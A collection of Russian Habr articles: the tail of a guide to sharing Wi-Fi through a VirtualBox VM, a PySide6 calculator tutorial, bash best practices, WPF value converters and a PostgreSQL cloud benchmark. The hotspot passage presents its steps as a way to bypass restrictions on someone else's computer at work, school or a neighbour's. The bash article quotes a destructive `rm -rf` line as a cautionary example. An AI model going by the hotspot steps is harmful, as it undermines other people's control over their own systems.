Заходим затем в центр управлениями сетями и заходим в настройки того сетевого адаптера, от которого мы получаем интернет. Там мы заходим в вкладку «Доступ» и ставим галочку на против «Предоставить доступ другим пользователям….». Все, точка Wi-Fi успешна работает через Virtual Box, и можно раздавать халявный вай-фай!
Чтобы остановить нашу точку, прописываем в командную строку:
```
netsh wlan stop hostednetwork
```
Как можно увидеть, всегда можно найти обходные пути, чтобы получить желаемое!
Итак, какие же шаги надо принять, чтобы обойти всю систему?
1. Скачать образ Win7/8/10, Virtual Box и Virtual Box Extension Pack. Установить Virtual Box и Virtual Box Extension pack и перенести на флешку(откуда у нас будут права на работе/учебе/у соседа?). Настроить машину. В USB установить версию 2.0. В сети указать сетевой мост, и адаптер выбрать тот, который дает вам интернет. Установить на VirtualBox систему.
2. Подключить к компу USB Wi-Fi адаптер. В виртуальной машине, зайти в вкладу Устройства->USB->(Название вашего USB Wi-Fi адаптера).
3. Устанавливаете дрова вашего адаптера в виртуальной машине.
4. Скидываете на флешку/облако виртуальную машину
5. Настраиваете Hot-Spot на чужом компе, через виртуальную машину так, как я выше описал.
6. PROFIT!
Если кому то нужна пошаговая видео инструкция по установке hot-spot, то вот ссылка: | https://habr.com/ru/post/352610/ | null | ru | null |
# Простой GUI калькулятор на Python #2. Основной функционал
Штош. В [прошлой статье](https://habr.com/p/586730/) мы сделали дизайн калькулятора. Ну а зачем нам этот голый дизайн без функционала, правильно?
Импортируем библиотеки, следуя стилю [PEP 8:](https://www.python.org/dev/peps/pep-0008/#imports)
```
import sys
from PySide6.QtWidgets import QApplication, QMainWindow
from design import Ui_MainWindow
```
Напишем дефолтный код для запуска любого Qt приложения с файлом дизайна. Если вам хочется подробнее узнать о работе каждой строчки кода, приглашаю посетить [документацию.](https://doc.qt.io/qtforpython/tutorials/basictutorial/uifiles.html)
```
class Calculator(QMainWindow):
def __init__(self):
super(Calculator, self).__init__()
self.ui = Ui_MainWindow()
self.ui.setupUi(self)
if __name__ == "__main__":
app = QApplication(sys.argv)
window = Calculator()
window.show()
sys.exit(app.exec())
```
Если у вас не установлен в систему шрифт [Rubik,](https://fonts.google.com/specimen/Rubik) то в вашем приложении шрифт будет дефолтным. Для решения этой проблемы не нужно устанавливать шрифт в систему. Импортируем:
```
from PySide6.QtGui import QFontDatabase
```
Теперь используем метод добавления шрифта приложения, в который передадим файл шрифта. Я сделал это в конструкторе класса.
```
QFontDatabase.addApplicationFont("fonts/Rubik-Regular.ttf")
```
Добавляем цифры
---------------
```
def add_digit(self):
btn = self.sender()
```
Метод **sender()** возвращает Qt объект, который посылает **сигнал.**
```
def sender(self): # real signature unknown; restored from __doc__
""" sender(self) -> PySide6.QtCore.QObject """
pass
```
В нашем случае сигнал является нажатием кнопки. Создадим кортеж с именами кнопок-цифр.
```
digit_buttons = ('btn_0', 'btn_1', 'btn_2', 'btn_3', 'btn_4',
'btn_5', 'btn_6', 'btn_7', 'btn_8', 'btn_9')
```
По дефолту в поле всегда стоит 0. В этом случае, если нажимается кнопка с цифрой, текст поля заменяется на эту цифру. Получается, что при нажатии на `0` ничего не будет происходить.
```
if btn.objectName() in digit_buttons:
if self.ui.le_entry.text() == '0':
self.ui.le_entry.setText(btn.text())
```
Если же в поле не `0`, то просто добавляем текст нажатой цифры в строку поля.
```
else:
self.ui.le_entry.setText(self.ui.le_entry.text() + btn.text())
```
Полный код метода добавления цифры
```
def add_digit(self):
btn = self.sender()
digit_buttons = ('btn_0', 'btn_1', 'btn_2', 'btn_3', 'btn_4',
'btn_5', 'btn_6', 'btn_7', 'btn_8', 'btn_9')
if btn.objectName() in digit_buttons:
if self.ui.le_entry.text() == '0':
self.ui.le_entry.setText(btn.text())
else:
self.ui.le_entry.setText(self.ui.le_entry.text() + btn.text())
```
Теперь нужно соединить нажатия кнопок с этим методом. Напишем в конструкторе класса.
```
# digits
self.ui.btn_0.clicked.connect(self.add_digit)
self.ui.btn_1.clicked.connect(self.add_digit)
self.ui.btn_2.clicked.connect(self.add_digit)
self.ui.btn_3.clicked.connect(self.add_digit)
self.ui.btn_4.clicked.connect(self.add_digit)
self.ui.btn_5.clicked.connect(self.add_digit)
self.ui.btn_6.clicked.connect(self.add_digit)
self.ui.btn_7.clicked.connect(self.add_digit)
self.ui.btn_8.clicked.connect(self.add_digit)
self.ui.btn_9.clicked.connect(self.add_digit)
```
Изначально был такой код. Но зачем передавать цифру-аргумент, если можно взять её из кнопки?
```
def add_digit(self, btn_text: str) -> None:
if self.ui.le_entry.text() == '0':
self.ui.le_entry.setText(btn_text)
else:
self.ui.le_entry.setText(self.ui.le_entry.text() + btn_text)
```
Соединения кнопок с методом
```
# digits
self.ui.btn_0.clicked.connect(lambda: self.add_digit('0'))
self.ui.btn_1.clicked.connect(lambda: self.add_digit('1'))
self.ui.btn_2.clicked.connect(lambda: self.add_digit('2'))
self.ui.btn_3.clicked.connect(lambda: self.add_digit('3'))
self.ui.btn_4.clicked.connect(lambda: self.add_digit('4'))
self.ui.btn_5.clicked.connect(lambda: self.add_digit('5'))
self.ui.btn_6.clicked.connect(lambda: self.add_digit('6'))
self.ui.btn_7.clicked.connect(lambda: self.add_digit('7'))
self.ui.btn_8.clicked.connect(lambda: self.add_digit('8'))
self.ui.btn_9.clicked.connect(lambda: self.add_digit('9'))
```
Посмотрим на результат.
Если вам режет глаз выход цифр за границы поля, потерпите. Мы решим эту проблему в следующей статье.
Очищаем Line Edit и Label
-------------------------
```
def clear_all(self) -> None:
self.ui.le_entry.setText('0')
self.ui.lbl_temp.clear()
```
Сделаем такой же метод для очистки только поля.
```
def clear_entry(self) -> None:
self.ui.le_entry.setText('0')
```
Соединяем.
```
# actions
self.ui.btn_clear.clicked.connect(self.clear_all)
self.ui.btn_ce.clicked.connect(self.clear_entry)
```
Добавляем точку
---------------
Почему вообще точка, а не запятая? Просто число с точкой можно сразу конвертировать в вещественное число, а с запятой придется еще менять знак. Да, мне лень.
Логика проста. Если точки нет в поле, значит добавляем.
```
def add_point(self) -> None:
if '.' not in self.ui.le_entry.text():
self.ui.le_entry.setText(self.ui.le_entry.text() + '.')
```
Соеди что? Правильно, няем.
```
self.ui.btn_point.clicked.connect(self.add_point)
```
Добавляем временное выражение
-----------------------------
Что вообще оно из себя представляет? Есть два типа временных выражений:
1) Число и математический знак. Грубо говоря, это память калькулятора.
2) Равенство
```
def add_temp(self) -> None:
btn = self.sender()
```
Для начала нам нужно убедиться, что в лейбле нет текста. Затем ставим во временное выражение число из поля ввода + текст кнопки **btn.**
```
if not self.ui.lbl_temp.text():
self.ui.lbl_temp.setText(self.ui.le_entry.text() + f' {btn.text()} ')
```
Еще нужно очистить поле ввода. Полный код метода:
```
def add_temp(self) -> None:
btn = self.sender()
if not self.ui.lbl_temp.text():
self.ui.lbl_temp.setText(self.ui.le_entry.text() + f' {btn.text()} ')
self.ui.le_entry.setText('0')
```
Прикрутим пока одну кнопку сложения для теста.
```
self.ui.btn_add.clicked.connect(self.add_temp)
```
Точка и незначащие конечные нули не обрезаются.
Убираем незначащие конечные нули
--------------------------------
Сделаем статический метод для решения этой проблемы. Передавать в функцию мы будем string число, получать то же самое.
```
@staticmethod
def remove_trailing_zeros(num: str) -> str:
```
Введем переменную **n,** которая приводит аргумент сначала к типу float, потом к string.
```
n = str(float(num))
```
Приведение к float обрезает нули, но не все. В конце остается `.0`. Мы будем возвращать срез строки без двух последних символов, если они равны `.0`, иначе будем возвращать просто **n.**
```
return n[:-2] if n[-2:] == '.0' else n
```
Полный код метода:
```
@staticmethod
def remove_trailing_zeros(num: str) -> str:
n = str(float(num))
return n[:-2] if n[-2:] == '.0' else n
```
Теперь добавим обрезку незначащих нулей в метод добавления временного выражения:
```
def add_temp(self) -> None:
btn = self.sender()
entry = self.remove_trailing_zeros(self.ui.le_entry.text())
if not self.ui.lbl_temp.text():
self.ui.lbl_temp.setText(entry + f' {btn.text()} ')
self.ui.le_entry.setText('0')
```
Старый код с передачей знака-аргумента
```
def add_temp(self, math_sign: str):
if not self.ui.lbl_temp.text() or self.get_math_sign() == '=':
self.ui.lbl_temp.setText(
self.remove_trailing_zeros(self.ui.le_entry.text()) + f' {math_sign} ')
self.ui.le_entry.setText('0')
```
Получаем число из Line Edit
---------------------------
Запишем в переменную текст поля, уберем потенциальную точку с помощью **strip().**
```
def get_entry_num(self):
entry = self.ui.le_entry.text().strip('.')
return float(entry) if '.' in entry else int(entry)
```
Возвращаем **float,** если точка есть в переменной, иначе возвращаем **int,** то есть целое число.
Добавим type hint к методу. Он может возвращать только целое или вещественное число. Для этого импортируем:
```
from typing import Union, Optional
```
*Optional используем позже.*
```
def get_entry_num(self) -> Union[int, float]:
```
В Python 3.10 не нужно ничего импортировать.Можно просто написать
```
def get_entry_num(self) -> int | float:
```
Получаем число из Label
-----------------------
Если в лейбле есть текст, получаем его, разделяем по пробелам и берем первый элемент, то есть число.
```
def get_temp_num(self):
if self.ui.lbl_temp.text():
temp = self.ui.lbl_temp.text().strip('.').split()[0]
return float(temp) if '.' in temp else int(temp)
```
Type hint здесь - **Union[int, float, None].**
```
def get_temp_num(self) -> Union[int, float, None]:
```
Получаем знак из Label
----------------------
Чтобы получить знак, нам нужно удостовериться в наличии текста в лейбле, затем получить текст из него, разделить по пробелам и вытащить последний элемент.
```
def get_math_sign(self):
if self.ui.lbl_temp.text():
return self.ui.lbl_temp.text().strip('.').split()[-1]
```
Type hint здесь - **Optional[str].** Это означает, что метод может вернуть либо строку, либо ничего. Как **Union[str, None],** только компактнее и читабельнее.
```
def get_math_sign(self) -> Optional[str]:
```
Вычисляем выражение
-------------------
Так, калькулятор же считать должен, я правильно понимаю? Ну тогда импортируем сложение, вычитание, умножение и деление из стандартной библиотеки **operator.**
```
from operator import add, sub, mul, truediv
```
Теперь создадим словарь с операциями. Каждому знаку присвоим его логическую функцию.
```
operations = {
'+': add,
'−': sub,
'×': mul,
'/': truediv
}
```
Создадим метод вычисления.
```
def calculate(self):
entry = self.ui.le_entry.text()
temp = self.ui.lbl_temp.text()
```
Если в лейбле есть текст, вводим переменную результата. Обрезаем конечные нули, приводим к строке. Берем операцию из словаря по знаку, в скобках указываем с какими числами провести операцию. Заметьте, что порядок передачи аргументов важен для деления и вычитания. Сначала мы передаем число из временного выражения, а потом из поля ввода.
```
if temp:
result = self.remove_trailing_zeros(
str(operations[self.get_math_sign()](self.get_temp_num(), self.get_entry_num())))
```
Добавляем в лейбл число из поля ввода и знак `=`
```
self.ui.lbl_temp.setText(temp + self.remove_trailing_zeros(entry) + ' =')
```
Ставим результат в поле ввода и возвращаем его.
```
self.ui.le_entry.setText(result)
return result
```
Type hint - **Optional[str].**
```
def calculate(self) -> Optional[str]:
```
Полный код метода вычисления
```
def calculate(self) -> Optional[str]:
entry = self.ui.le_entry.text()
temp = self.ui.lbl_temp.text()
if temp:
result = self.remove_trailing_zeros(
str(operations[self.get_math_sign()](self.get_temp_num(), self.get_entry_num())))
self.ui.lbl_temp.setText(temp + self.remove_trailing_zeros(entry) + ' =')
self.ui.le_entry.setText(result)
return result
```
Метод математической операции
-----------------------------
```
def math_operation(self):
temp = self.ui.lbl_temp.text()
btn = self.sender()
```
Если в лейбле нет выражения, мы его добавляем, удивительно.
```
if not temp:
self.add_temp()
```
Если выражение есть, берем знак. Если он не равен знаку нажатой кнопки, то есть два случая. Первый - это равенство. В этом случае просто добавляем временное выражение. Иначе меняем знак выражения на знак нажатой кнопки.
```
else:
if self.get_math_sign() != btn.text():
if self.get_math_sign() == '=':
self.add_temp()
else:
self.ui.lbl_temp.setText(temp[:-2] + f'{btn.text()} ')
```
Если же знак равен знаку нажатой кнопки, то мы считаем выражение и добавляем в конец лейбла этот знак.
Полный код математической операции
```
def math_operation(self) -> None:
temp = self.ui.lbl_temp.text()
btn = self.sender()
if not temp:
self.add_temp()
else:
if self.get_math_sign() != btn.text():
if self.get_math_sign() == '=':
self.add_temp()
else:
self.ui.lbl_temp.setText(temp[:-2] + f'{btn.text()} ')
else:
self.ui.lbl_temp.setText(self.calculate() + f' {btn.text()}')
```
Полный код математической операции
```
def math_operation(self) -> None:
temp = self.ui.lbl_temp.text()
btn = self.sender()
if not temp:
self.add_temp()
else:
if self.get_math_sign() != btn.text():
if self.get_math_sign() == '=':
self.add_temp()
else:
self.ui.lbl_temp.setText(temp[:-2] + f'{btn.text()} ')
else:
self.ui.lbl_temp.setText(self.calculate() + f' {btn.text()}')
```
Соединяем.
```
self.ui.btn_add.clicked.connect(self.math_operation)
self.ui.btn_sub.clicked.connect(self.math_operation)
self.ui.btn_mul.clicked.connect(self.math_operation)
self.ui.btn_div.clicked.connect(self.math_operation)
```
Старый код метода вычисления со знаком-аргументом
```
def math_operation(self, math_sign: str):
temp = self.ui.lbl_temp.text()
if not temp:
self.add_temp(math_sign)
else:
if self.get_math_sign() != math_sign:
if self.get_math_sign() == '=':
self.add_temp(math_sign)
else:
self.ui.lbl_temp.setText(temp[:-2] + f'{math_sign} ')
else:
self.ui.lbl_temp.setText(self.calculate() + f' {math_sign}')
```
```
self.ui.btn_add.clicked.connect(lambda: self.math_operation('+'))
self.ui.btn_sub.clicked.connect(lambda: self.math_operation('−'))
self.ui.btn_mul.clicked.connect(lambda: self.math_operation('×'))
self.ui.btn_div.clicked.connect(lambda: self.math_operation('/'))
```
Помолимся за здравие Гвидо Ван Россума и запустим программу.
Почему-то не хочет дальше считать с равенством. А я вам расскажу почему. В методе добавления временного выражения нужно добавить дополнительное условие. В итоге получится *"если временного выражения нет или есть равенство".*
```
def add_temp(self) -> None:
btn = self.sender()
entry = self.remove_trailing_zeros(self.ui.le_entry.text())
if not self.ui.lbl_temp.text() or self.get_math_sign() == '=':
self.ui.lbl_temp.setText(entry + f' {btn.text()} ')
self.ui.le_entry.setText('0')
```
И вот еще покажу, как меняется знак, если вы постоянно промахиваетесь по кнопке.
Заключение
----------
Штош, в [следующей статье](https://habr.com/ru/post/589847/) допишем калькулятор. Сделаем отрицание, backspace, несколько шорткатов для одной кнопки и обработаем ошибки. До встречи.
---
[Репозиторий на GitHub](https://github.com/lesskop/shtosh-calculator) | https://habr.com/ru/post/587276/ | null | ru | null |
# Лучшие практики bash-скриптов: краткое руководство по надежным и производительным скриптам bash
[*Shell wallpaper by manapi*](https://www.deviantart.com/manapi/art/Shell-wallpaper-344926223)
Отладка сценариев bash — это как поиск иголки в стоге сена, тем более, когда новые дополнения появляются в существующей кодовой базе без своевременного рассмотрения вопросов структуры, логирования и надежности. В таких ситуациях можно оказаться как из-за собственных ошибок, так и при управлении сложными нагромождениями скриптов.
Команда [Mail.ru Cloud Solutions](https://mcs.mail.ru/) перевела статью с рекомендациям, благодаря которым вы сможете лучше писать, отлаживать и поддерживать свои сценарии. Хотите верьте, хотите нет, но ничто не может сравниться с удовлетворением от написания чистого, готового к использованию bash-кода, который работает каждый раз.
В статье автор делится тем, что узнал за последние несколько лет, а также некоторыми распространенными ошибками, которые заставали его врасплох. Это важно, потому что каждый разработчик программного обеспечения в определенный момент своей карьеры работает со сценариями для автоматизации рутинных рабочих задач.
Обработчики ловушек
-------------------
Большинство скриптов bash, с которыми я сталкивался, никогда не использовали эффективный механизм очистки, когда во время выполнения скрипта происходит что-то неожиданное.
Неожиданности могут возникнуть извне, например получение сигнала от ядра. Обработка таких случаев чрезвычайно важна для того, чтобы сценарии были достаточно надежными для запуска в продакшен-системах. Я часто использую обработчики выхода, чтобы реагировать на такие сценарии:
```
function handle_exit() {
// Add cleanup code here
// for eg. rm -f "/tmp/${lock_file}.lock"
// exit with an appropriate status code
}
// trap
trap handle\_exit 0 SIGHUP SIGINT SIGQUIT SIGABRT SIGTERM
```
`trap` — это встроенная команда оболочки, помогающая вам зарегистрировать функцию очистки, которая вызывается в случае каких-либо сигналов. Однако следует соблюдать особую осторожность с такими обработчиками, как `SIGINT`, который вызывает прерывание сценария.
Кроме того, в большинстве случаев следует ловить только `EXIT`, но идея в том, что вы действительно можете настроить поведение скрипта для каждого отдельного сигнала.
Встроенные функции set — быстрое завершение при ошибке
------------------------------------------------------
Очень важно реагировать на ошибки, как только они возникают, и быстро прекращать выполнение. Ничего не может быть хуже, чем продолжать выполнение команды вроде такой:
```
rm -rf ${directory_name}/*
```
Обратите внимание, что переменная `directory_name` не определена.
Для обработки таких сценариев важно использовать встроенные функции `set`, такие как `set -o errexit`, `set -o pipefail` или `set -o nounset` в начале скрипта. Эти функции гарантируют, что ваш скрипт завершит работу, как только он встретит любой ненулевой код завершения, использование неопределенных переменных, неправильные команды, переданные по каналу и так далее:
```
#!/usr/bin/env bash
set -o errexit
set -o nounset
set -o pipefail
function print_var() {
echo "${var_value}"
}
print_var
$ ./sample.sh
./sample.sh: line 8: var_value: unbound variable
```
**Примечание:** встроенные функции, такие как `set -o errexit`, выйдут из скрипта, как только появится «необработанный» код возврата (кроме нуля). Поэтому лучше ввести пользовательскую обработку ошибок, например:
```
#!/bin/bash
error_exit() {
line=$1
shift 1
echo "ERROR: non zero return code from line: $line -- $@"
exit 1
}
a=0
let a++ || error_exit "$LINENO" "let operation returned non 0 code"
echo "you will never see me"
# run it, now we have useful debugging output
$ bash foo.sh
ERROR: non zero return code from line: 9 -- let operation returned non 0 code
```
Подобное написание скриптов заставляет вас внимательнее относиться к поведению всех команд в скрипте и предусматривать возможность возникновения ошибки прежде, чем она застанет врасплох.
ShellCheck для выявления ошибок во время разработки
---------------------------------------------------
Стоит интегрировать что-то вроде [ShellCheck](https://github.com/koalaman/shellcheck) в ваши конвейеры разработки и тестирования, чтобы проверять ваш код bash на применение лучших практик.
Я использую его в своих локальных средах разработки, чтобы получать отчеты о синтаксисе, семантике и некоторых ошибках в коде, которые я мог пропустить при разработке. Это инструмент статического анализа для ваших скриптов bash, и я настоятельно рекомендую его применять.
Использование своих exit-кодов
------------------------------
Коды возврата в POSIX — это не просто ноль или единица, а ноль или ненулевое значение. Используйте эти возможности для возврата пользовательских кодов ошибок (между 201-254) для различных случаев ошибок.
Эта информация может затем использоваться другими сценариями, которые обертывают ваш, чтобы точно понять, какой тип ошибки произошел, и реагировать соответствующим образом:
```
#!/usr/bin/env bash
SUCCESS=0
FILE_NOT_FOUND=240
DOWNLOAD_FAILED=241
function read_file() {
if ${file_not_found}; then
return ${FILE_NOT_FOUND}
fi
}
```
**Примечание:** пожалуйста, будьте особенно осторожны с именами переменных, которые вы определяете, чтобы не допустить случайного переопределения переменных среды.
Функции-логгеры
---------------
Красивое и структурированное ведение логов важно, чтобы легко понять результаты выполнения вашего скрипта. Как и в других языках программирования высокого уровня, я всегда использую в моих скриптах bash собственные функции логирования, такие как `__msg_info`, `__msg_error` и так далее.
Это помогает обеспечить стандартизированную структуру ведения логов, внося изменения только в одном месте:
```
#!/usr/bin/env bash
function __msg_error() {
[[ "${ERROR}" == "1" ]] && echo -e "[ERROR]: $*"
}
function __msg_debug() {
[[ "${DEBUG}" == "1" ]] && echo -e "[DEBUG]: $*"
}
function __msg_info() {
[[ "${INFO}" == "1" ]] && echo -e "[INFO]: $*"
}
__msg_error "File could not be found. Cannot proceed"
__msg_debug "Starting script execution with 276MB of available RAM"
```
Я обычно стараюсь иметь в своих скриптах какой-то механизм `__init`, где такие переменные логгера и другие системные переменные инициализируются или устанавливаются в значения по умолчанию. Эти переменные также могут устанавливаться из параметров командной строки во время вызова скрипта.
Например, что-то вроде:
```
$ ./run-script.sh --debug
```
Когда такой скрипт выполняется, в нем гарантировано, что общесистемные настройки установлены в значениях по умолчанию, если они обязательны, или, по крайней мере, инициализированы чем-то соответствующим, если это необходимо.
Я обычно основываю выбор, что инициализировать, а что нет, на компромиссе между пользовательским интерфейсом и деталями конфигураций, в которые пользователь может/должен вникнуть.
Архитектура для повторного использования и чистого состояния системы
--------------------------------------------------------------------
### Модульный / многоразовый код
```
├── framework
│ ├── common
│ │ ├── loggers.sh
│ │ ├── mail_reports.sh
│ │ └── slack_reports.sh
│ └── daily_database_operation.sh
```
Я держу отдельный репозиторий, который можно использовать для инициализации нового проекта/скрипта bash, который хочу разработать. Всё, что можно использовать повторно, может быть сохранено в репозитории и получено в других проектах, которые хотят использовать такие функциональные возможности. Такая организация проектов значительно уменьшает размер других скриптов, а также гарантирует, что кодовая база мала и легко тестируема.
Как и в приведенном выше примере, все функции ведения логов, такие как `__msg_info`, `__msg_error` и другие, например отчеты по Slack, содержатся отдельно в `common/*` и динамически подключаются в других сценариях, вроде `daily_database_operation.sh`.
### Оставьте после себя чистую систему
Если вы загружаете какие-то ресурсы во время выполнения сценария, рекомендуется хранить все такие данные в общем каталоге со случайным именем, например `/tmp/AlRhYbD97/*`. Вы можете использовать генераторы случайного текста для выбора имени директории:
```
rand_dir_name="$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)"
```
После завершения работы очистка таких каталогов может быть обеспечена в обработчиках ловушек, обсуждаемых выше. Если об удалении временных директорий не позаботиться, они накапливаются, и на каком-то этапе вызывают неожиданные проблемы на хосте, например заполненный диск.
### Использование lock-файлов
Часто нужно обеспечить выполнение только одного экземпляра сценария на хосте в любой момент времени. Это можно сделать с помощью lock-файлов.
Я обычно создаю lock-файлы в `/tmp/project_name/*.lock` и проверяю их наличие в начале скрипта. Это помогает корректно завершить работу скрипта и избежать неожиданных изменений состояния системы другим сценарием, работающим параллельно. Lock-файлы не нужны, если вам необходимо, чтобы один и тот же скрипт выполнялся параллельно на данном хосте.
Измерить и улучшить
-------------------
Нам часто приходится работать со сценариями, которые выполняются в течение длительного периода времени, например ежедневными операциями с базами данных. Такие операции обычно включают в себя последовательность шагов: загрузка данных, проверка на наличие аномалий, импорт данных, отправка отчетов о состоянии и так далее.
В таких случаях я всегда стараюсь разбивать сценарий на отдельные маленькие скрипты и сообщать об их состоянии и времени выполнения с помощью:
```
time source "${filepath}" "${args}">> "${LOG_DIR}/RUN_LOG" 2>&1
```
Позже я могу посмотреть время выполнения с помощью:
```
tac "${LOG_DIR}/RUN_LOG.txt" | grep -m1 "real"
```
Это помогает мне определить проблемные/медленные области в скриптах, которые нуждаются в оптимизации.
Удачи!
Что еще почитать:
1. [Go и кеши GPU.](https://mcs.mail.ru/blog/go-i-keshi-cpu)
2. [Как работает bash: разбираемся в деталях.](https://mcs.mail.ru/blog/detali-raboty-bash)
3. [Наш телеграм-канал о цифровой трансформации.](https://t.me/zavtra_oblachno) | https://habr.com/ru/post/513064/ | null | ru | null |
# Эстетика XAML: конвертеры значений [WPF]
В статье представлены обобщённые подходы применения `конвертеров значений` при написании `XAML`-кода.
[>> Читать на английском](https://habr.com/post/526480/)
> `IValueConverter` `Data Binding` `XAML` `WPF` `UWP` `Xamarin Forms` `UI` `SwitchConverter` `KeyToValueConverter` `InlineConverter` `AggregateConverter` `ResourceDictionary`
>
>
`Конвертеры значений` совместно с механизмом привязки данных являются важными компонентами в разработке пользовательских интерфейсов на основе `XAML`. Конвертеры значений подразумевают наличие логики, помещенной в отдельный класс, реализующий интерфейс `IValueConverter`. Обычно имя класса отражает функциональное назначение, а сами экземпляры декларируются в разметке.
**Switch Converter & Key To Value Converter**
На практике многие конвертеры значений имеют тривиальную логику схожую по структуре с `тернарным оператором (?:)` или конструкциям `if-else`, `switch-case-default`. Однако существуют обобщенные шаблоны `KeyToValueConverter` и `SwitchConverter`, которые позволяют избежать добавления в проект однотипных по структуре классов путём декларирования логических значений и ветвлений непосредственно в разметке.
***Концепция***
```
```
***Применение***
```
```
```
```
`KeyToValueConverter` - проверяет входное значение на соответствие со значением из свойства `Key`, если соответствие выполнено, то в качестве выходного берётся значение из свойства `Value`, в противном случае из свойства `ByDefault`.
`SwitchConverter` - выполняет поиск первого соответствующего `Case` из списка по его ключу из свойства `Key`, если соответствующий `Case` найден, то берётся заданное в нём значение из свойства `Value`, в противном случае из свойства `ByDefault`, заданного в самом конвертере значений.
Если свойство `Value` или `ByDefault` явно не задано, но выполняется соответствующее ему условие, то в таком случае происходит обыкновенный проброс входного значения в качестве выходного.
Также у `KeyToValueConverter` иногда полезно задавать ключ в `ConverterParameter` через свойство `KeySource`
```
```
Для особых случаев у `KeySource` возможны четыре режима работы:
`Manual` (`by default`) - в качестве ключа при проверке соответствия всегда используется значение из свойства `Key` либо выполняется проброс значения, когда оно не задано
`ConverterParameter` - в качестве ключа всегда используется значение из свойства привязки `ConverterParameter` либо выполняется проброс значения, когда оно не задано
`PreferManual` - если `manual Key` явно задан, то он имеет приоритет перед `ConverterParameter`
`PreferConverterParameter` - если `ConverterParameter` явно задан, то он имеет приоритет перед manual `Key`
Стоит также отметить, что у `SwitchConverter` помимо обычных `Case` доступны также `TypedCase`, основное отличие которых в проверке на соответствие по типу значения
```
```
Иногда возникает необходимость продебажить работу конвертера значений. Для этой цели у `SwitchConverter` предусмотрено свойство `DiagnosticKey`, если оно задано, то при срабатывании привязки данных в `Trace` будут выводится диагностические сообщения следующего формата
```
var diagnosticMessage = matchedCase.Is()
? $"{DiagnosticKey}: '{matchedValue}' matched by key '{matchedCase.Key}' for '{value}' and converted to '{convertedValue}'"
: $"{DiagnosticKey}: The default value '{matchedValue}' matched for '{value}' and converted to '{convertedValue}'";
Trace.WriteLine(diagnosticMessage);
```
```
...
```
**Dependency Value Converter**
Также свойства `Key`, `Value` и `ByDefault` полезно объявлять в качестве `свойств зависимости` (`Dependency Properties`), то есть наследовать конвертеры и `Case`s от класса `DependencyObject`. Хотя конвертеры значений обычно не являются элементами визуального дерева, что отчасти ограничивает работу механизма привязки данных, тем не менее остаётся возможность производить привязку к статическим ресурсам или наследникам класса `Binding`, например
```
```
**Inline Converter**
Встраиваемый конвертер позволят перенести логику по преобразованию значений из отдельного класса, реализующего интерфейс `IValueConverter`, в `code-behind` класс конкретного представления на основе событийной модели.
Это позволяет получить доступ к представлению и его отдельным визуальным элементам из логики конвертирования при реализации сложных сценариев, которые затруднительно реализовать при классическом подходе.
Для этого необходимо добавить декларацию конвертера в разметку, а `code-behind` классе определить обработчики для соответствующих событий `Converting` и `ConvertingBack`
```
```
```
private void InlineConverter_OnConverting(object sender, ConverterEventArgs e)
{
// e.Value - access to input value
// this.DataContext - access to Data Context or another properties of the view
// access to child visual elements of this root view
e.ConvertedValue = // set output value
$"DataContext: {DataContext}, Converter Value: {e.Value}";
}
private void InlineConverter_OnConvertingBack(object sender, ConverterEventArgs e)
{
// ...
}
```
**Aggregate Converter**
Агрегирующий конвертер предназначен для объединения конвертеров в цепочки, при этом преобразование значения происходит последовательно в порядке декларирования вложенных конвертеров.
```
```
**App.xaml**
Обобщённые конвертеры значений полезно помещать в отдельный Resource Dictionary, а затем мержить их в качестве глобальных ресурсов в файл App.xaml. Это позволяет переиспользовать конвертеры значений в различных представлениях без их повторного декларирования.
```
...
```
**Ace Framework**
Примеры реализации представленных конвертеров можно найти в библиотеке `Ace Framework` [gitlab](https://gitlab.com/Makeloft-Studio/Ace/-/tree/master/Ace.Zest/Converters) [bitbucket](https://bitbucket.org/Makeloft/ace/src/master/Ace.Zest/Converters/)
С благодарностью за внимание и интерес! | https://habr.com/ru/post/526450/ | null | ru | null |
# Экспресс-обзор производительности PostgreSQL 10.5 в новейших облачных сервисах Яндекс.Облака
Буквально на днях Яндекс открыл доступ для beta-пользователей к своему новому сервису — [Яндекс.Облако](https://cloud.yandex.ru/). Так вышло, что это событие совпало с необходимостью выбора облачной платформы для одного из наших внутренних проектов и я решил сразу протестировать производительность решений Яндекса.
Для теста я взял PostgreSQL и старый добрый pgbench. Выбор на СУБД пал потому что было интересно протестировать и сравнить производительность не только виртуальных машин, то и managed database сервисов.
Disclaimer: автор не является ни профессиональным админом, ни DBA, ни специалистом по настройке облачных решений. Тестирование проводилось сугубо в личных целях и на объективность не претендует, поэтому прошу воспринимать статью «as is». Внутри не будет какого-то глубокого разбора, но будет экспресс-сравнение с Selectel VPC (на разных дисках) и различными конфигурациями AWS EC2/RDS в части производительности и стоимости решений. Возможно, это сэкономит кому-то немного времени.
Подробности Yandex.Cloud vs Selectel VPC vs AWS под катом.
### Структура сервисов Яндекс.Облака
Структура ресурсов Яндекс.Облака обычная для подобного рода сервисов:
**Квоты ресурсов (глобальные)**
**Каталог (проект)**
— Compute Cloud (виртуальные машины и диски)
— Managed Databases (кластеры баз данных, можно запускать базы Clickhouse, MongoDB и PostgreSQL)
— Object Storage (облачное хранилище)
— Virtual Private Cloud (облачные сети)
— API
Подробно описывать интерфейс не вижу смысла, тем более, что [документация](https://cloud.yandex.ru/docs) находится в свободном доступе и из неё многое и так понятно.
### Сравниваемые конфигурации
Для всех виртуальных инстансов в тесте были выделены следующие ресурсы:
**vCPU**: 8 cores
**RAM**: 32 Gb
**Disk**: SSD (конкретный класс — см. тестируемые инстансы).
**OS**: CentOS 7 minimal
Для managed database-сервисов запрашивалась максимально близкая конфигурация (у Яндекса и AWS как раз есть конфигурации с 8CPU/32RAM).
Тестируемая версия Postgres — 10.5. На виртуалки он ставился из пакета `postgresql10-server`, а на managed-кластерах выбиралась эта версия из списка.
### Методика тестирования
1. На чистую ОС устанавливались пакеты `postgresql10-server` и `postgresql10`
2. Инициализировалась БД для бенчмарка с параметрами: `pgbench -i -s 100`
3. Три раза прогонялся бенчмарк с параметрами: `pgbench -c 10 -T 60`
4. Утилита `pgbench` запускалась на той же виртуальной машине, где установлена СУБД, а для managed-кластеров — на виртуальной машине в том же облаке.
5. В таблицу результатов заносился лучший результат из трёх.
### Результаты тестирования
Все результаты экспресс-теста одной таблицей (графики ниже):
| Resource | TPS | Price |
| --- | --- | --- |
| AWS EC2 m5.2xlarge | 2822 | 343 |
| AWS EC2 m5d.2xlarge | 2752 | 403 |
| AWS EC2 t3.2xlarge | 2636 | 290 |
| AWS EC2 t2.2xlarge | 2259 | 320 |
